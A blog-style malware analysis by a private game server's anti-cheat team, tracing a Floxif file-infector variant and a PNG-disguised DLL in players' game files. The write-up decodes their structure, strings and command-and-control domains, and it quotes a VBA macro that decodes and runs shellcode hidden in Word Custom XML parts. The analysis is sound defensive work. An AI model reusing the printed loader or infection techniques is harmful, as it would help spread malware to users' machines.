Our Anti-Cheat Found a Virus Instead

We run a private server for an old football game. Like everyone in that position, we eventually had to write our own anti-cheat.

One of our rules is boring and obvious:

The unmanifested-module rule: a module was loaded from our own install directory whose SHA-256 appears in none of the patch manifests we published.

We ship every file. We know every hash. If something in <install dir> isn’t on that list, somebody put it there.

For weeks that rule fired on exactly one player. One finding, one file:

unmanifested module in OUR INSTALL DIRECTORY:
C:\Users\<user>\AppData\Local\Programs\<game>\bugtrap.dll
(unsigned, i386, 355271 bytes, sha256 9c65e99fcb6933ca...)

BugTrap.dll is a crash-reporting library. We ship it. Ours is 276,992 bytes, hash ad0a3705…, and that is what sits in every other install we have on record. His was 355,271 bytes.

Over three days his bugtrap.dll had five different hashes, and every single one was exactly 355,271 bytes.

Same size, different content, every run. That’s polymorphism.

A detection that says “this file is weird” is worth very little, though. You need the file, so we asked him for it, and he sent it.

What was actually in it

The PE sections summed to exactly 276,992 bytes, our file. Then 78,279 bytes of something appended after the last section.

Diffing against our clean copy gave three modified regions and nothing else:

offset what
0x188 DATA_DIRECTORY[5] (the base relocation table) zeroed
0x1eed8 8b ff 55 8b ec → e9 93 2b ff ff
0xf849–0x11b11 8,905 bytes of injected code

8b ff 55 8b ec is mov edi,edi; push ebp; mov ebp,esp: the hot-patchable prologue Microsoft compilers emit. Five bytes, perfect for a jmp rel32. It now jumps straight into the injected block.

The appended data starts d9 0e 01 00. That is a length: 69,337. Then 88 9f …. XOR that with 0xC5: 0x88^0xC5 = 'M', 0x9f^0xC5 = 'Z'.

There’s a second executable hiding in there.

The appended overlay, raw and XOR-decoded

overlay.bin is the 78,279 bytes appended to the infected DLL.

Decoded and unpacked (it’s UPX’d, 69,337 → 160,473 bytes), it claims to be lpk.dll, “Microsoft® Windows® Operating System”, “LanguagePack”, version 5.1.2600.5512. It exports three functions: FloodFix, FloodFix2, crc32.

crc32 is my favourite function I have ever reversed:

mov     eax, 1
test    eax, eax
je      done          ; never taken
push    0xEA60        ; 60000 ms
call    Sleep
jmp     loop

Call it and your thread sleeps forever, one minute at a time. It exists to waste your afternoon.

The crc32 export in full

0x1001c15c is the IAT slot for KERNEL32!Sleep.

FloodFix is the real one. VirtualProtect the PE headers writable → write the base relocation directory at nt+0xa0/nt+0xa4 → VirtualProtect the code section RWX → WriteProcessMemory(-1, …).

Writing to its own process. Restoring the relocation table it zeroed. This thing doesn’t attack the game. It repairs the file it infected, in memory, so the host still runs.

Reading the strings

There weren’t any. Not useful ones.

Two tricks were in the way. The first is an anti-disassembly gadget: a pair of stubs that read their own return address, add to it and return through it, stepping over junk bytes that exist purely to desynchronise a linear disassembler. Point IDA at the entry and you get garbage.

The second is string encryption. plain[i] = ~(cipher[i] ^ key), key stored at byte 2 of each blob. And the blobs aren’t in .rdata, they’re built on the stack one byte at a time with mov byte ptr [ebp-0x388], 0x8e instructions. A strings dump finds nothing because at rest there is nothing.

So we scanned the raw opcode patterns (C6 85 and C6 45), reassembled every contiguous run and decrypted them. 62 strings. Then we widened it: zero-stores via and byte ptr [...], 0, decoding at every offset, the global blob table, the injected stub. That gave 155.

Here is roughly what came out:

  • Persistence: AppInit_DLLs, LoadAppInit_DLLs, RequireSignedAppInit_DLLs, CreateServiceA/W, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
  • Spreading: [AutoRun], autorun.inf, open=, shell\open\Command=, NoDriveTypeAutoRun, pagefile.pif
  • Hiding: ShowSuperHidden, SuperHidden, SFCDisable
  • Killing security software: 360safe.exe, xuetr, antivir, TerminateProcess, plus GBK strings for 安全卫士, 电脑管家, 急救箱, 瑞星, 微点, 费尔 (Chinese AV products)
  • Injection: SeDebugPrivilege, CreateProcessInternalW, VirtualAllocEx, WriteProcessMemory, into winlogon.exe, lsass.exe, csrss.exe, smss.exe, svchost.exe, userinit.exe, explorer.exe
  • Credential theft: mstsc.exe, mstsc.exe.mui, CredReadW (saved RDP logins)
  • Command and control: http://www.aieov.com/, http://5isohu.com/, a hard-coded fallback IP 174.139.10.194, ui.asp?, logo.gif, so.gif, setup.exe, update.exe
  • Cleanup: cmd.exe /c rd /S /Q ", cmd.exe /c del /F /Q "

Also 股票, Chinese for “stock”. It infects any file whose name contains that word, regardless of extension. Somebody wanted trading software.

It’s a file infector, not a cheat, and it had eaten our game.

On the same machine it had also eaten d3dx9_42.dll (1,892,184 → 1,970,463) and Adobe’s armsvc.exe (81,088 → 159,367). Same delta both times: +78,279 bytes. That’s how we knew it wasn’t aimed at us. We were just a .dll in a folder it was allowed to touch.

The constant size

The 78,279 bytes decompose exactly:

  4  uint32  payload length (69,337)
69,337  the UPX'd payload, XOR 0xC5
  4  uint32  stub length (8,905)
 8,905  the host's own displaced .text bytes, XOR 0xC5
  5  the original entry-point bytes (8b ff 55 8b ec)
 24  six dwords, each stored as value+0x3A:
     BASERELOC rva 0x46000, size 0x2244,
     EP offset 0x1eed8, stub offset 0xf849,
     stub rva 0x10449, original size 0x43a00
──────
78,279

Every byte it overwrote, it kept. That’s why FloodFix can put the host back together at runtime and why the size is always identical.

So why did the hash change every run? Two reasons. The stub is placed at a random offset inside the code section (srand(time(0)), 30 attempts, rejecting anything near the entry point or a data directory). And the stub template contains 47 four-byte placeholders, each in a slot that never executes, each filled with rand() bytes at infection time.

We rebuilt the whole 355,271-byte file from our clean DLL plus those rules. It matched 9c65e99f… byte for byte.

It has a name

All of it is described in Virus Bulletin, December 2012, by Raul Alvarez of Fortinet, in a paper called “Compromised library”. Everything we worked out over an afternoon:

  • the five-byte entry-point jump, with the original bytes stashed in the virus body
  • the drop to C:\Program Files\Common Files\System\symsrv.dll
  • the UPX’d payload
  • the FloodFix and crc32 exports
  • the sleep-loop decoy
  • VirtualProtect on the headers to restore the relocation table
  • the extra byte after RETN to break disassemblers
  • the PEB walk to find GetProcAddress
  • a mutex named Global\SYS_E0A9138

The family is Floxif. We re-derived a fourteen-year-old virus from scratch because nobody on our team had read that paper.

Ours is a later variant, and the differences are small but real. 2012 used XOR 0x2A, we have 0xC5. 2012 restored 3,513 bytes of .text, we restore 8,905. 2012 had two exports, ours has three. 2012’s mutex was Global\SYS_E0A9138; ours creates that and Global\SYS_E0A9188, which I can’t find a public reference to anywhere.

Read the prior art first. Then do the work anyway, because the prior art is fourteen years old and the thing has moved.

Then we swept the fleet

Knowing what it looks like, the obvious question is how many other players have it.

We had no good way to ask. The markers live in frames nobody had ever written a rule against; the object directory is collected on roughly every snapshot and consumed by exactly nothing. So we wrote throwaway scanners and inflated the entire retained corpus: 2,085,535 snapshots, 31,606 accounts, ~2 billion object-directory rows, two weeks of telemetry, zero inflate or parse failures.

Two infected accounts. Here are the base rates, because a marker without one is just a hunch:

marker accounts false positives
object named SYS_E0A9138 1 / 31,606 0
DNS cache contains www.aieov.com 2 / 31,606 0
symsrv.dll loaded as a module from Common Files\System 2 / 31,606 0
payload digest de055a89… 1 / 31,606 0
overlay size exactly 78,279 1 / 31,606 0
autorun.inf present 33 / 31,606 all 33 (shell artefacts)
string languagepack 8 / 31,606 all 8 (Lenovo speech packs)
bare string symsrv.dll anywhere 3 / 31,606 1 (a .lnk in recent files)

The last three are why you measure. autorun.inf sounds like a brilliant worm indicator right up until it matches 33 ordinary machines and none of them carry any other marker.

Every file-based method we had missed the second account completely: that player’s client build sends no file digests and no object directory at all, so he has zero rows in our binaries table and an empty object list. Nothing about his files was ever collected. He was found by two things that have nothing to do with files: www.aieov.com sitting in his DNS cache, and symsrv.dll showing up in his loaded module list at exactly 196,608 bytes, which is the SizeOfImage of the payload we had just unpacked.

His machine had resolved the C2 domain. That’s a callback.

We also could not tell which of his files are infected, and still can’t, because his build never sent the data. That’s a collection gap, not a clean bill of health.

The second one, which was worse

While this was going on, that rule fired on a different player. Same rule, same wording. This time it was our main game executable: shipped at 18,376,704 bytes, his at 19,732,992.

My first pass on it was wrong, and it’s worth saying why.

I checked it for Floxif and found nothing. No SYS_E0A9138, no FloodFix, no aieov. The delta was +1,356,288, not +78,279. The overlay was zero bytes, and Floxif lives in the overlay. The entry point and import table were byte-identical to ours. The last section had grown from 12,288 bytes at entropy 4.3 to 1,368,576 at entropy 7.97 and been renamed UPX1. But it wasn’t UPX-packed, and the readable strings in it were import names like CryptDeriveKey and RegOpenKeyExW.

So I wrote it off: somebody dumped our protected executable, rebuilt its imports, repacked it. A reverser doing reverser things.

I had searched for the wrong virus. This file had a different one in it, three layers down. The only reason we found it is that somebody had already peeled it in an earlier investigation and left the layers on disk.

Layer three was a PNG

The innermost artefact is 527,360 bytes and starts with 89 50 4E 47 0D 0A 1A 0A: the PNG magic number. Every tool that looks at it sees an image.

Six bytes turn a PNG into a DLL

cmp -l prints offsets 1-based and values in octal: 211 115 is 0x89 -> 0x4d.

Change six bytes (offsets 0, 1, 60, 61, 280, 281) and you have a valid PE32 DLL, exporting one function, _a@4, with its compile timestamp zeroed. The MZ, the e_lfanew field and the PE\0\0 signature had all been overwritten with PNG header bytes. That’s the whole disguise.

Its import names are encrypted too, with a 12-byte repeating XOR key: 05 00 02 01 01 02 09 06 09 06 08 01. Decoded, they stop looking like a game cheat immediately:

library what it’s for
WINHTTP.dll: WinHttpOpen, WinHttpConnect, WinHttpReadData command and control
ADVAPI32.dll: OpenSCManagerW installing a service
ntdll.dll: NtAdjustPrivilege privilege escalation
MPR.dll: WNetCancelConnection, WNetCloseEnum enumerating network shares
Secur32.dll: LsaGetLogonSessionData harvesting logon sessions
KERNEL32.dll: IsDebuggerPresent, ProcessIdToSessionId anti-analysis

And inside that, a Word document

Sitting in the same blob is a VBA project: ThisDocument and Module1, with the Office type library references still in it. The macro does this:

For Each part In %slf%.CustomXMLParts
  If InStr(part.XML, "<%vn%>") > 0 Then
    b64 = Mid(part.XML, InStr(part.XML, ">") + 1)
    b64 = Left(b64, InStr(b64, "<") - 1)
    Set objNode = objXML.createElement("b64")
    objNode.DataType = "bin.base64"
    objNode.Text = b64
    Data = objNode.nodeTypedValue
    addr = VirtualAlloc(0, size, MEM_COMMIT Or MEM_RESERVE, PAGE_READWRITE)
    RtlMoveMemory addr, Data(0), size
    VirtualProtect addr, size, PAGE_EXECUTE_READ, oldProtect
    hThread = CreateThread(0, 0, addr, 0, 0, threadId)

Shellcode, base64-encoded, stored in a Word document’s Custom XML part. Not in the macro, not in the document body, but in a metadata stream most tools never open. Decoded with MSXML2.DOMDocument, allocated, marked executable, run on a thread.

Look at %slf%, %vn% and Sub %fn%(). Those are template placeholders. The subroutine name, the object reference and the XML marker tag are all substituted per build. In the sample we have, %vn% had become <M0YV>. That is a builder, and it is where the polymorphism comes from.

The author left a note

In the VBA comments, in Esperanto:

Esperanto comments in the VBA project

Translated:

hey friend researcher, you are the first who has ever seen this technique in the wild you think you need to write a signature for this? I’ll write polymorphic code tomorrow still, I think you’ll find this code many years after the initial fully undetectable release because you’d never expect a hybrid of a PE infector and a macro virus why am I so confident? Let’s say this code is fairly easy to detect yet no AV engine scans VBA routines in this context and you are blind now, in the age of modern cybercrime

He’s right about the mechanism, and I’ll give him the point: we had the file for two days and I closed it as “just a repacked binary”, because I was grepping for the markers of the other virus. A PE infector that carries a macro virus that carries shellcode in document metadata is not a combination anyone’s pipeline is shaped for.

Elsewhere in the same project there is a second block of Esperanto. This one isn’t a taunt:

But don’t forget your worth: it is not in a signature, but in your living heart. Who strives to suffocate all the creativity of our civilisation … if someone replaces you with an AI, that would shock me. Rename the signature to “FuckIndustry” already, and I’ll know maybe I’ll be the only one who understands you then. Put the detection signature in, do what you must, and I’ll do my duty, just as I strive. That you can take it apart with your living thought, and teach others to resist the risks of an artificial mind. My friend, I’ll show compassion, and never forget, even (eax, ebx, etc… lol) when everyone else has abandoned you completely.

Somebody wrote a multi-stage file infector, then used the comment field to worry about reverse engineers being replaced by machines. Make of that what you want.

One rule fired on two players and turned up two unrelated pieces of malware: a fourteen-year-old DLL infector, and a hybrid I can’t find any public description of. The rule was right both times and sufficient neither time. “This file isn’t ours” is where the investigation starts.

Anti-cheat is antivirus, whether you meant it or not

Once you ship something that enumerates modules, hashes files, inspects handles and watches drivers, you have written an endpoint security product. Your users will not care about the distinction, and neither will the threats.

The big vendors stopped pretending about this a while ago. Riot, announcing Vanguard On-Demand in June 2026, put it plainly:

“Damn near a third of Vanguard’s functionality is built around policing vulnerable drivers” … “Cheating isn’t so different from malware.” Source: riotgames.com

Epic’s Easy Anti-Cheat documentation on blocked drivers:

“Vulnerable drivers are frequently used by malware and cheats.” … “What is our criteria for finding what driver is vulnerable or not? We use the Microsoft blocklist.” Source: eoshelp.epicgames.com

That is an anti-cheat consuming the same threat intelligence feed as every EDR product on the market. And BattlEye’s FAQ is even more direct about where this ends up:

“Sometimes BE might block malware/adware/PUP files… We recommend Malwarebytes Anti-Malware for removing such software from your system.” Source: battleye.com

Epic’s public violation enum includes EOS_ACCVT_UnknownGameFileForbidden (“a disallowed game file addition was detected”), alongside GameFileMismatch and ForbiddenModuleLoaded. Our own rule is, almost word for word, a value in Epic’s SDK. We reinvented it without knowing, because if you take integrity seriously there is only one place to arrive.

The overlap runs both ways, and it gets awkward. EA’s published Javelin driver denylist includes Kaspersky’s klhk.sys, MalwareFox, and Sysinternals’ Process Explorer. Riot’s Vanguard blocked WinRing0 in 2020; Microsoft Defender started flagging the same driver as HackTool:Win32/Winring0 in 2025. The anti-cheat reached the antivirus verdict five years early.

What this means if you build one

Your flags are leads, not verdicts. That rule fired on two players. Both were infected, by two unrelated families, and neither was cheating. If we had banned on the flag we’d have punished two victims and learned nothing about either.

Base rates before accusations. We have a rule for gdrv3.sys, a Gigabyte driver with a well-known kernel read/write hole. It has fired on 3,509 accounts, because it also ships with fan and RGB utilities. It is noise. A detection that matches thousands of ordinary machines is not a detection, it’s a population statistic. We measure every rule against the whole fleet before anyone is allowed to act on it.

Build sample collection before you need it. The entire investigation above exists because we could get the file at all. A detection you can’t follow up on is a line in a table.

Hashes lose to polymorphism. Floxif gave us five hashes in three days at one constant size. The second sample came from a builder that substitutes its macro’s subroutine name, object reference and XML marker on every build. If you match digests you are permanently one sample behind. What identified Floxif was structure: a zeroed relocation directory, a five-byte entry-point patch, a length-prefixed XOR blob in the overlay, and a size delta repeating across three unrelated files.

Look past the layer you expected. I had the second file for two days and closed it as a repacked binary, because I searched it for the markers of the first virus and found none. It took a PNG that was a DLL, a DLL that carried a Word document, and a Word document with shellcode in its Custom XML metadata. If your triage is “does it match the thing I already know”, you will close exactly the samples worth keeping open.

Collect more than you think you need, and consume what you collect. The second infected machine was invisible to every file-based check we had. We found it in the DNS cache and the loaded-module list: two frames we collect on every snapshot and had written exactly zero rules against. Breadth of telemetry beat depth of analysis, and the frame that saved us was one nobody had ever queried.

Plan for the player being the victim. We spent a day building a ban case against someone whose real problem was that his RDP credentials were being exfiltrated to aieov.com. He didn’t need a ban. He needed a message explaining that his machine was infected, which files to delete, and that he should change his passwords.

Your install directory is an attack surface for someone else’s malware. We don’t code-sign our binaries. Most private servers don’t. Floxif infects any .dll, .ocx or .exe outside %WINDIR% that it can reach, and a game folder full of unsigned DLLs is an easy target. If your patcher ever uploads, mirrors, or peer-distributes client files, think carefully about what happens when one of those files is infected on the way in.

And read the prior art. Fourteen years.


Thanks for reading.